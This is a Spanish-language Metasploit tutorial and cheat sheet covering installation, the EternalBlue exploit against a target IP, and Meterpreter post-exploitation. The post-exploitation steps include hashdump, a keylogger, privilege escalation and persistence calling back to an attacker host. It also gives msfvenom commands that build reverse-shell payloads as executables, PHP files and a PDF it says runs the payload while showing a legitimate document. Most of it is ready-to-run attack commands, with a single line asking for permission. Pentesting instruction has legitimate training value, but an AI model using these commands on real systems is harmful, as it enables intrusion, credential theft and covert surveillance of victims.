¿Qué es Metasploit?
Metasploit es un framework de pentesting que permite:
- Desarrollar y ejecutar exploits contra objetivos
- Crear payloads personalizados
- Realizar post-explotación avanzada
Descargar Metasploit
Versión actual: Metasploit 6.3
Instalación y Configuración
En Kali Linux
sudo apt update && sudo apt install metasploit-framework
sudo systemctl start postgresql
msfdb init
En Windows
- Descargar instalador desde metasploit.com
- Ejecutar el instalador como administrador
- Iniciar desde:
Start Menu > Metasploit Framework
Nota: En Kali Linux, Metasploit viene preinstalado pero requiere iniciar PostgreSQL.
Uso Básico de msfconsole
1. Búsqueda de Exploits
msf6 > search eternalblue
msf6 > search type:exploit platform:windows
2. Configurar un Exploit
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit > set RHOSTS 192.168.1.100
msf6 exploit > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit > set LHOST 192.168.1.50
msf6 exploit > show options
3. Ejecución y Post-Explotación
msf6 exploit > exploit
[*] Meterpreter session 1 opened
meterpreter > sysinfo
meterpreter > getuid
meterpreter > hashdump
Generación de Payloads
Windows
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o payload.exe
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o payload.elf
Web
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o payload.php
Listener Config
msf6 > use exploit/multi/handler
msf6 exploit > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit > set LHOST 192.168.1.50
msf6 exploit > set LPORT 4444
msf6 exploit > exploit -j
Comandos de Post-Explotación
| Comando | Descripción | Ejemplo |
|---|---|---|
migrate |
Cambiar a otro proceso | migrate 1234 |
getsystem |
Escalar privilegios | getsystem |
download |
Descargar archivos | download C:\\secret.txt |
keyscan_start |
Keylogger | keyscan_start |
screenshot |
Capturar pantalla | screenshot |
Escenarios Prácticos
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit > set RHOSTS 192.168.1.100
msf6 exploit > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit > set LHOST 192.168.1.50
msf6 exploit > exploit
# Post-explotación
meterpreter > getuid
meterpreter > hashdump
meterpreter > persist -X -i 30 -p 443 -r 192.168.1.50
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f pdf -o documento.pdf
El PDF abrirá un documento legítimo mientras ejecuta el payload en segundo plano.
Importante: Solo usar estas técnicas en sistemas con permiso explícito.
Contenido Técnico Destacado
1. Alias útiles para Metasploit
# Alias recomendados para agilizar el uso de Metasploit
alias msf='msfconsole'
alias msfv='msfvenom'
alias msfupdate='msfupdate'
2. Comandos rápidos de msfconsole
# Buscar exploits y módulos
msf6 > search nombre_vulnerabilidad
# Seleccionar y configurar un exploit
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit > set RHOSTS 192.168.1.100
msf6 exploit > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit > set LHOST 192.168.1.50
msf6 exploit > exploit
3. Generar payloads personalizados
# Windows
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe
# Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf
# Web (PHP)
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php